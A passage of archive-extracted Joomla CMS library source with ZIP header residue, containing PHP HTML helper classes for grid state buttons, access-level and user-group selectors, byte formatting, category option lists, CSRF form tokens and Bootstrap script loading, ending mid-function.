markup * * @since 1.6 */ public static function action($i, $task, $prefix = '', $text = '', $activeTitle = '', $inactiveTitle = '', $tip = false, $activeClass = '', $inactiveClass = '', $enabled = true, $translate = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $activeTitle = array_key_exists('active_title', $options) ? $options['active_title'] : $activeTitle; $inactiveTitle = array_key_exists('inactive_title', $options) ? $options['inactive_title'] : $inactiveTitle; $tip = array_key_exists('tip', $options) ? $options['tip'] : $tip; $activeClass = array_key_exists('active_class', $options) ? $options['active_class'] : $activeClass; $inactiveClass = array_key_exists('inactive_class', $options) ? $options['inactive_class'] : $inactiveClass; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } if ($tip) { JHtml::_('bootstrap.tooltip'); $title = $enabled ? $activeTitle : $inactiveTitle; $title = $translate ? JText::_($title) : $title; $title = JHtml::_('tooltipText', $title, '', 0); } if ($enabled) { $html[] = '<a class="btn btn-micro' . ($activeClass === 'publish' ? ' active' : '') . ($tip ? ' hasTooltip' : '') . '"'; $html[] = ' href="javascript:void(0);" onclick="return listItemTask(\'' . $checkbox . $i . '\',\'' . $prefix . $task . '\')"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; $html[] = '<span class="icon-' . $activeClass . '" aria-hidden="true"></span>'; $html[] = '</a>'; } else { $html[] = '<a class="btn btn-micro disabled jgrid' . ($tip ? ' hasTooltip' : '') . '"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; if ($activeClass === 'protected') { $html[] = '<span class="icon-lock"></span>'; } else { $html[] = '<span class="icon-' . $inactiveClass . '"></span>'; } $html[] = '</a>'; } return implode($html); } /** * Returns a state on a grid * * @param array $states array of value/state. Each state is an array of the form * (task, text, active title, inactive title, tip (boolean), HTML active class, HTML inactive class) * or ('task'=>task, 'text'=>text, 'active_title'=>active title, * 'inactive_title'=>inactive title, 'tip'=>boolean, 'active_class'=>html active class, * 'inactive_class'=>html inactive class) * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 1.6 */ public static function state($states, $value, $i, $prefix = '', $enabled = true, $translate = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $state = ArrayHelper::getValue($states, (int) $value, $states[0]); $task = array_key_exists('task', $state) ? $state['task'] : $state[0]; $text = array_key_exists('text', $state) ? $state['text'] : (array_key_exists(1, $state) ? $state[1] : ''); $activeTitle = array_key_exists('active_title', $state) ? $state['active_title'] : (array_key_exists(2, $state) ? $state[2] : ''); $inactiveTitle = array_key_exists('inactive_title', $state) ? $state['inactive_title'] : (array_key_exists(3, $state) ? $state[3] : ''); $tip = array_key_exists('tip', $state) ? $state['tip'] : (array_key_exists(4, $state) ? $state[4] : false); $activeClass = array_key_exists('active_class', $state) ? $state['active_class'] : (array_key_exists(5, $state) ? $state[5] : ''); $inactiveClass = array_key_exists('inactive_class', $state) ? $state['inactive_class'] : (array_key_exists(6, $state) ? $state[6] : ''); return static::action( $i, $task, $prefix, $text, $activeTitle, $inactiveTitle, $tip, $activeClass, $inactiveClass, $enabled, $translate, $checkbox ); } /** * Returns a published state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * @param string $publishUp An optional start publishing date. * @param string $publishDown An optional finish publishing date. * * @return string The HTML markup * * @see JHtmlJGrid::state() * @since 1.6 */ public static function published($value, $i, $prefix = '', $enabled = true, $checkbox = 'cb', $publishUp = null, $publishDown = null) { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $states = array( 1 => array('unpublish', 'JPUBLISHED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JPUBLISHED', true, 'publish', 'publish'), 0 => array('publish', 'JUNPUBLISHED', 'JLIB_HTML_PUBLISH_ITEM', 'JUNPUBLISHED', true, 'unpublish', 'unpublish'), 2 => array('unpublish', 'JARCHIVED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JARCHIVED', true, 'archive', 'archive'), -2 => array('publish', 'JTRASHED', 'JLIB_HTML_PUBLISH_ITEM', 'JTRASHED', true, 'trash', 'trash'), ); // Special state for dates if ($publishUp || $publishDown) { $nullDate = JFactory::getDbo()->getNullDate(); $nowDate = JFactory::getDate()->toUnix(); $tz = JFactory::getUser()->getTimezone(); $publishUp = ($publishUp != $nullDate) ? JFactory::getDate($publishUp, 'UTC')->setTimeZone($tz) : false; $publishDown = ($publishDown != $nullDate) ? JFactory::getDate($publishDown, 'UTC')->setTimeZone($tz) : false; // Create tip text, only we have publish up or down settings $tips = array(); if ($publishUp) { $tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_START', JHtml::_('date', $publishUp, JText::_('DATE_FORMAT_LC5'), 'UTC')); } if ($publishDown) { $tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_FINISHED', JHtml::_('date', $publishDown, JText::_('DATE_FORMAT_LC5'), 'UTC')); } $tip = empty($tips) ? false : implode('<br />', $tips); // Add tips and special titles foreach ($states as $key => $state) { // Create special titles for published items if ($key == 1) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_ITEM'; if ($publishUp > $nullDate && $nowDate < $publishUp->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_PENDING_ITEM'; $states[$key][5] = $states[$key][6] = 'pending'; } if ($publishDown > $nullDate && $nowDate > $publishDown->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_EXPIRED_ITEM'; $states[$key][5] = $states[$key][6] = 'expired'; } } // Add tips to titles if ($tip) { $states[$key][1] = JText::_($states[$key][1]); $states[$key][2] = JText::_($states[$key][2]) . '<br />' . $tip; $states[$key][3] = JText::_($states[$key][3]) . '<br />' . $tip; $states[$key][4] = true; } } return static::state($states, $value, $i, array('prefix' => $prefix, 'translate' => !$tip), $enabled, true, $checkbox); } return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns an isDefault state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @see JHtmlJGrid::state() * @since 1.6 */ public static function isdefault($value, $i, $prefix = '', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $states = array( 0 => array('setDefault', '', 'JLIB_HTML_SETDEFAULT_ITEM', '', 1, 'unfeatured', 'unfeatured'), 1 => array('unsetDefault', 'JDEFAULT', 'JLIB_HTML_UNSETDEFAULT_ITEM', 'JDEFAULT', 1, 'featured', 'featured'), ); return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns an array of standard published state filter options. * * @param array $config An array of configuration options. * This array can contain a list of key/value pairs where values are boolean * and keys can be taken from 'published', 'unpublished', 'archived', 'trash', 'all'. * These pairs determine which values are displayed. * * @return string The HTML markup * * @since 1.6 */ public static function publishedOptions($config = array()) { // Build the active state filter options. $options = array(); if (!array_key_exists('published', $config) || $config['published']) { $options[] = JHtml::_('select.option', '1', 'JPUBLISHED'); } if (!array_key_exists('unpublished', $config) || $config['unpublished']) { $options[] = JHtml::_('select.option', '0', 'JUNPUBLISHED'); } if (!array_key_exists('archived', $config) || $config['archived']) { $options[] = JHtml::_('select.option', '2', 'JARCHIVED'); } if (!array_key_exists('trash', $config) || $config['trash']) { $options[] = JHtml::_('select.option', '-2', 'JTRASHED'); } if (!array_key_exists('all', $config) || $config['all']) { $options[] = JHtml::_('select.option', '*', 'JALL'); } return $options; } /** * Returns a checked-out icon * * @param integer $i The row index. * @param string $editorName The name of the editor. * @param string $time The time that the object was checked out. * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled True to enable the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 1.6 */ public static function checkedout($i, $editorName, $time, $prefix = '', $enabled = false, $checkbox = 'cb') { JHtml::_('bootstrap.tooltip'); if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $text = $editorName . '<br />' . JHtml::_('date', $time, JText::_('DATE_FORMAT_LC')) . '<br />' . JHtml::_('date', $time, 'H:i'); $activeTitle = JHtml::_('tooltipText', JText::_('JLIB_HTML_CHECKIN'), $text, 0); $inactiveTitle = JHtml::_('tooltipText', JText::_('JLIB_HTML_CHECKED_OUT'), $text, 0); return static::action( $i, 'checkin', $prefix, JText::_('JLIB_HTML_CHECKED_OUT'), html_entity_decode($activeTitle, ENT_QUOTES, 'UTF-8'), html_entity_decode($inactiveTitle, ENT_QUOTES, 'UTF-8'), true, 'checkedout', 'checkedout', $enabled, false, $checkbox ); } /** * Creates an order-up action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 1.6 */ public static function orderUp($i, $task = 'orderup', $prefix = '', $text = 'JLIB_HTML_MOVE_UP', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, $text, false, 'uparrow', 'uparrow_disabled', $enabled, true, $checkbox); } /** * Creates an order-down action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 1.6 */ public static function orderDown($i, $task = 'orderdown', $prefix = '', $text = 'JLIB_HTML_MOVE_DOWN', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, $text, false, 'downarrow', 'downarrow_disabled', $enabled, true, $checkbox); } } PK���\K ��cms/html/access.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Extended Utility class for all HTML drawing classes. * * @since 1.6 */ abstract class JHtmlAccess { /** * A cached array of the asset groups * * @var array * @since 1.6 */ protected static $asset_groups = null; /** * Displays a list of the available access view levels * * @param string $name The form field name. * @param string $selected The name of the selected section. * @param string $attribs Additional attributes to add to the select field. * @param mixed $params True to add "All Sections" option or an array of options * @param mixed $id The form field id or false if not used * * @return string The required HTML for the SELECT tag. * * @see JFormFieldAccessLevel * @since 1.6 */ public static function level($name, $selected, $attribs = '', $params = true, $id = false) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('a.id', 'value') . ', ' . $db->quoteName('a.title', 'text')) ->from($db->quoteName('#__viewlevels', 'a')) ->group($db->quoteName(array('a.id', 'a.title', 'a.ordering'))) ->order($db->quoteName('a.ordering') . ' ASC') ->order($db->quoteName('title') . ' ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // If params is an array, push these options to the array if (is_array($params)) { $options = array_merge($params, $options); } // If all levels is allowed, push it into the array. elseif ($params) { array_unshift($options, JHtml::_('select.option', '', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS'))); } return JHtml::_( 'select.genericlist', $options, $name, array( 'list.attr' => $attribs, 'list.select' => $selected, 'id' => $id, ) ); } /** * Displays a list of the available user groups. * * @param string $name The form field name. * @param string $selected The name of the selected section. * @param string $attribs Additional attributes to add to the select field. * @param boolean $allowAll True to add "All Groups" option. * @param mixed $id The form field id * * @return string The required HTML for the SELECT tag. * * @see JFormFieldUsergroup * @since 1.6 */ public static function usergroup($name, $selected, $attribs = '', $allowAll = true, $id = false) { $options = array_values(JHelperUsergroups::getInstance()->getAll()); for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->value = $options[$i]->id; $options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->title; } // If all usergroups is allowed, push it into the array. if ($allowAll) { array_unshift($options, JHtml::_('select.option', '', JText::_('JOPTION_ACCESS_SHOW_ALL_GROUPS'))); } return JHtml::_('select.genericlist', $options, $name, array('list.attr' => $attribs, 'list.select' => $selected, 'id' => $id)); } /** * Returns a UL list of user groups with checkboxes * * @param string $name The name of the checkbox controls array * @param array $selected An array of the checked boxes * @param boolean $checkSuperAdmin If false only super admins can add to super admin groups * * @return string * * @since 1.6 */ public static function usergroups($name, $selected, $checkSuperAdmin = false) { static $count; $count++; $isSuperAdmin = JFactory::getUser()->authorise('core.admin'); $groups = array_values(JHelperUsergroups::getInstance()->getAll()); $html = array(); for ($i = 0, $n = count($groups); $i < $n; $i++) { $item = &$groups[$i]; // If checkSuperAdmin is true, only add item if the user is superadmin or the group is not super admin if ((!$checkSuperAdmin) || $isSuperAdmin || (!JAccess::checkGroup($item->id, 'core.admin'))) { // Setup the variable attributes. $eid = $count . 'group_' . $item->id; // Don't call in_array unless something is selected $checked = ''; if ($selected) { $checked = in_array($item->id, $selected) ? ' checked="checked"' : ''; } $rel = ($item->parent_id > 0) ? ' rel="' . $count . 'group_' . $item->parent_id . '"' : ''; // Build the HTML for the item. $html[] = ' <div class="control-group">'; $html[] = ' <div class="controls">'; $html[] = ' <label class="checkbox" for="' . $eid . '">'; $html[] = ' <input type="checkbox" name="' . $name . '[]" value="' . $item->id . '" id="' . $eid . '"'; $html[] = ' ' . $checked . $rel . ' />'; $html[] = ' ' . JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level + 1)) . $item->title; $html[] = ' </label>'; $html[] = ' </div>'; $html[] = ' </div>'; } } return implode("\n", $html); } /** * Returns a UL list of actions with checkboxes * * @param string $name The name of the checkbox controls array * @param array $selected An array of the checked boxes * @param string $component The component the permissions apply to * @param string $section The section (within a component) the permissions apply to * * @return string * * @see JAccess * @since 1.6 */ public static function actions($name, $selected, $component, $section = 'global') { static $count; $count++; $actions = JAccess::getActionsFromFile( JPATH_ADMINISTRATOR . '/components/' . $component . '/access.xml', "/access/section[@name='" . $section . "']/" ); $html = array(); $html[] = '<ul class="checklist access-actions">'; for ($i = 0, $n = count($actions); $i < $n; $i++) { $item = &$actions[$i]; // Setup the variable attributes. $eid = $count . 'action_' . $item->id; $checked = in_array($item->id, $selected) ? ' checked="checked"' : ''; // Build the HTML for the item. $html[] = ' <li>'; $html[] = ' <input type="checkbox" name="' . $name . '[]" value="' . $item->id . '" id="' . $eid . '"'; $html[] = ' ' . $checked . ' />'; $html[] = ' <label for="' . $eid . '">'; $html[] = ' ' . JText::_($item->title); $html[] = ' </label>'; $html[] = ' </li>'; } $html[] = '</ul>'; return implode("\n", $html); } /** * Gets a list of the asset groups as an array of JHtml compatible options. * * @return mixed An array or false if an error occurs * * @since 1.6 */ public static function assetgroups() { if (empty(static::$asset_groups)) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id AS value, a.title AS text') ->from($db->quoteName('#__viewlevels') . ' AS a') ->group('a.id, a.title, a.ordering') ->order('a.ordering ASC'); $db->setQuery($query); static::$asset_groups = $db->loadObjectList(); } return static::$asset_groups; } /** * Displays a Select list of the available asset groups * * @param string $name The name of the select element * @param mixed $selected The selected asset group id * @param string $attribs Optional attributes for the select field * @param array $config An array of options for the control * * @return mixed An HTML string or null if an error occurs * * @since 1.6 */ public static function assetgrouplist($name, $selected, $attribs = null, $config = array()) { static $count; $options = static::assetgroups(); if (isset($config['title'])) { array_unshift($options, JHtml::_('select.option', '', $config['title'])); } return JHtml::_( 'select.genericlist', $options, $name, array( 'id' => isset($config['id']) ? $config['id'] : 'assetgroups_' . (++$count), 'list.attr' => $attribs === null ? 'class="inputbox" size="3"' : $attribs, 'list.select' => (int) $selected, ) ); } } PK���\ѸU�� � cms/html/number.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * HTML helper class for rendering numbers. * * @since 1.6 */ abstract class JHtmlNumber { /** * Converts bytes to more distinguishable formats such as: * kilobytes, megabytes, etc. * * By default, the proper format will automatically be chosen. * However, one of the allowed unit types (viz. 'b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB') may also be used instead. * IEC standard unit types ('KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB') can be used as well. * * @param string $bytes The number of bytes. Can be either numeric or suffixed format: 32M, 60K, 12G or 812b * @param string $unit The type of unit to return, few special values are: * Blank string '' for no unit, * 'auto' to choose automatically (default) * 'binary' to choose automatically but use binary unit prefix * @param integer $precision The number of digits to be used after the decimal place. * @param bool $iec Whether to be aware of IEC standards. IEC prefixes are always acceptable in input. * When IEC is ON: KiB = 1024 B, KB = 1000 B * When IEC is OFF: KiB = 1024 B, KB = 1024 B * * @return string The number of bytes in the proper units. * * @since 1.6 * @link https://en.wikipedia.org/wiki/Binary_prefix */ public static function bytes($bytes, $unit = 'auto', $precision = 2, $iec = false) { /* * Allowed 123.45, 123.45 M, 123.45 Mi, 123.45 MB, 123.45 MiB, 1.2345E+12MB, 1.2345E+12 MB , 1.2345E+12 MiB etc. * i.e. – Any number in decimal digits or in sci. notation, optional space, optional 1-3 letter unit suffix */ if (is_numeric($bytes)) { $oBytes = $bytes; } else { preg_match('/(.*?)\s?((?:[KMGTPEZY]i?)?B?)$/i', trim($bytes), $matches); list(, $oBytes, $oUnit) = $matches; if ($oUnit && is_numeric($oBytes)) { $oBase = $iec && strpos($oUnit, 'i') === false ? 1000 : 1024; $factor = pow($oBase, stripos('BKMGTPEZY', $oUnit[0])); $oBytes *= $factor; } } if (empty($oBytes) || !is_numeric($oBytes)) { return 0; } $oBytes = round($oBytes); // If no unit is requested return early if ($unit === '') { return (string) $oBytes; } $stdSuffixes = array('b', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $iecSuffixes = array('b', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'); // User supplied method if (in_array($unit, $iecSuffixes)) { $base = 1024; $i = array_search($unit, $iecSuffixes, true); $suffix = $unit; } elseif (in_array($unit, $stdSuffixes)) { $base = $iec ? 1000 : 1024; $i = array_search($unit, $stdSuffixes, true); $suffix = $unit; } elseif ($unit === 'binary') { $base = 1024; $i = (int) floor(log($oBytes, $base)); $suffix = $iecSuffixes[$i]; } else { // Default method $base = $iec ? 1000 : 1024; $i = (int) floor(log($oBytes, $base)); $suffix = $stdSuffixes[$i]; } return number_format( round($oBytes / pow($base, $i), (int) $precision), (int) $precision, JText::_('DECIMALS_SEPARATOR'), JText::_('THOUSANDS_SEPARATOR') ) . ' ' . $suffix; } } PK���\��Zrcms/html/category.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for categories * * @since 1.5 */ abstract class JHtmlCategory { /** * Cached array of the category items. * * @var array * @since 1.5 */ protected static $items = array(); /** * Returns an array of categories for the given extension. * * @param string $extension The extension option e.g. com_something. * @param array $config An array of configuration options. By default, only * published and unpublished categories are returned. * * @return array * * @since 1.5 */ public static function options($extension, $config = array('filter.published' => array(0, 1))) { $hash = md5($extension . '.' . serialize($config)); if (!isset(static::$items[$hash])) { $config = (array) $config; $db = JFactory::getDbo(); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $query = $db->getQuery(true) ->select('a.id, a.title, a.level, a.language') ->from('#__categories AS a') ->where('a.parent_id > 0'); // Filter on extension. $query->where('extension = ' . $db->quote($extension)); // Filter on user access level $query->where('a.access IN (' . $groups . ')'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } // Filter on the language if (isset($config['filter.language'])) { if (is_string($config['filter.language'])) { $query->where('a.language = ' . $db->quote($config['filter.language'])); } elseif (is_array($config['filter.language'])) { foreach ($config['filter.language'] as &$language) { $language = $db->quote($language); } $query->where('a.language IN (' . implode(',', $config['filter.language']) . ')'); } } // Filter on the access if (isset($config['filter.access'])) { if (is_string($config['filter.access'])) { $query->where('a.access = ' . $db->quote($config['filter.access'])); } elseif (is_array($config['filter.access'])) { foreach ($config['filter.access'] as &$access) { $access = $db->quote($access); } $query->where('a.access IN (' . implode(',', $config['filter.access']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; if ($item->language !== '*') { $item->title .= ' (' . $item->language . ')'; } static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } } return static::$items[$hash]; } /** * Returns an array of categories for the given extension. * * @param string $extension The extension option. * @param array $config An array of configuration options. By default, only published and unpublished categories are returned. * * @return array Categories for the extension * * @since 1.6 */ public static function categories($extension, $config = array('filter.published' => array(0, 1))) { $hash = md5($extension . '.' . serialize($config)); if (!isset(static::$items[$hash])) { $config = (array) $config; $user = JFactory::getUser(); $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id, a.title, a.level, a.parent_id, a.language') ->from('#__categories AS a') ->where('a.parent_id > 0'); // Filter on extension. $query->where('extension = ' . $db->quote($extension)); // Filter on user level. $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN (' . $groups . ')'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; if ($item->language !== '*') { $item->title .= ' (' . $item->language . ')'; } static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } // Special "Add to root" option: static::$items[$hash][] = JHtml::_('select.option', '1', JText::_('JLIB_HTML_ADD_TO_ROOT')); } return static::$items[$hash]; } } PK���\+�=��cms/html/form.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for form elements * * @since 1.5 */ abstract class JHtmlForm { /** * Array containing information for loaded files. * * @var array * * @since 3.8.0 */ protected static $loaded = array(); /** * Displays a hidden token field to reduce the risk of CSRF exploits * * Use in conjunction with JSession::checkToken() * * @param array $attribs Input element attributes. * * @return string A hidden input field with a token * * @see JSession::checkToken() * @since 1.5 */ public static function token(array $attribs = array()) { $attributes = ''; if ($attribs !== array()) { $attributes .= ' ' . ArrayHelper::toString($attribs); } return '<input type="hidden" name="' . JSession::getFormToken() . '" value="1"' . $attributes . ' />'; } /** * Add CSRF form token to Joomla script options that developers can get it by Javascript. * * @param string $name The script option key name. * * @return void * * @since 3.8.0 */ public static function csrf($name = 'csrf.token') { if (isset(static::$loaded[__METHOD__][$name])) { return; } /** @var JDocumentHtml $doc */ $doc = JFactory::getDocument(); if (!$doc instanceof JDocumentHtml || $doc->getType() !== 'html') { return; } $doc->addScriptOptions($name, JSession::getFormToken()); static::$loaded[__METHOD__][$name] = true; } } PK���\@G>�i�i�cms/html/bootstrap.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for Bootstrap elements. * * @since 3.0 */ abstract class JHtmlBootstrap { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * Add javascript support for the Bootstrap affix plugin * * @param string $selector Unique selector for the element to be affixed. * @param array $params An array of options. * Options for the affix plugin can be: * - offset number|function|object Pixels to offset from screen when calculating position of scroll. * If a single number is provided, the offset will be applied in both top * and left directions. To listen for a single direction, or multiple * unique offsets, just provide an object offset: { x: 10 }. * Use a function when you need to dynamically provide an offset * (useful for some responsive designs). * * @return void * * @since 3.1 * * @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla. */ public static function affix($selector = 'affix', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['offset'] = isset($params['offset']) ? $params['offset'] : 10; $options = JHtml::getJSObject($opt); // Attach affix to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('#' . $selector) . ').affix(' . $options . '); });' ); // Set static array static::$loaded[__METHOD__][$sig] = true; } return; } /** * Add javascript support for Bootstrap alerts * * @param string $selector Common class for the alerts * * @return void * * @since 3.0 */ public static function alert($selector = 'alert') { // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Attach the alerts to the document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('.' . $selector) . ').alert(); });' ); static::$loaded[__METHOD__][$selector] = true; return; } /** * Add javascript support for Bootstrap buttons * * @param string $selector Common class for the buttons * * @return void * * @since 3.1 */ public static function button($selector = 'button') { // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Attach the button to the document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('.' . $selector) . ').button(); });' ); static::$loaded[__METHOD__][$selector] = true; return; } /** * Add javascript support for Bootstrap carousels * * @param string $selector Common class for the carousels. * @param array $params An array of options for the carousel. * Options for the carousel can be: * - interval number The amount of time to delay between automatically cycling an item. * If false, carousel will not automatically cycle. * - pause string Pauses the cycling of the carousel on mouseenter and resumes the cycling * of the carousel on mouseleave. * * @return void * * @since 3.0 */ public static function carousel($selector = 'carousel', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['interval'] = isset($params['interval']) ? (int) $params['interval'] : 5000; $opt['pause'] = isset($params['pause']) ? $params['pause'] : 'hover'; $options = JHtml::getJSObject($opt); // Attach the carousel to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('.' . $selector) . ').carousel(' . $options . '); });' ); // Set static array static::$loaded[__METHOD__][$sig] = true; } return; } /** * Add javascript support for Bootstrap dropdowns * * @param string $selector Common class for the dropdowns * * @return void * * @since 3.0 */ public static function dropdown($selector = 'dropdown-toggle') { // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Attach the dropdown to the document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('.' . $selector) . ').dropdown(); });' ); static::$loaded[__METHOD__][$selector] = true; return; } /** * Method to load the Bootstrap JavaScript framework into the document head * * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging. * * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 3.0 */ public static function framework($debug = null) { // Only load once if (!empty(static::$loaded[__METHOD__])) { return; } // Load jQuery JHtml::_('jquery.framework'); // If no debugging value is set, use the configuration setting if 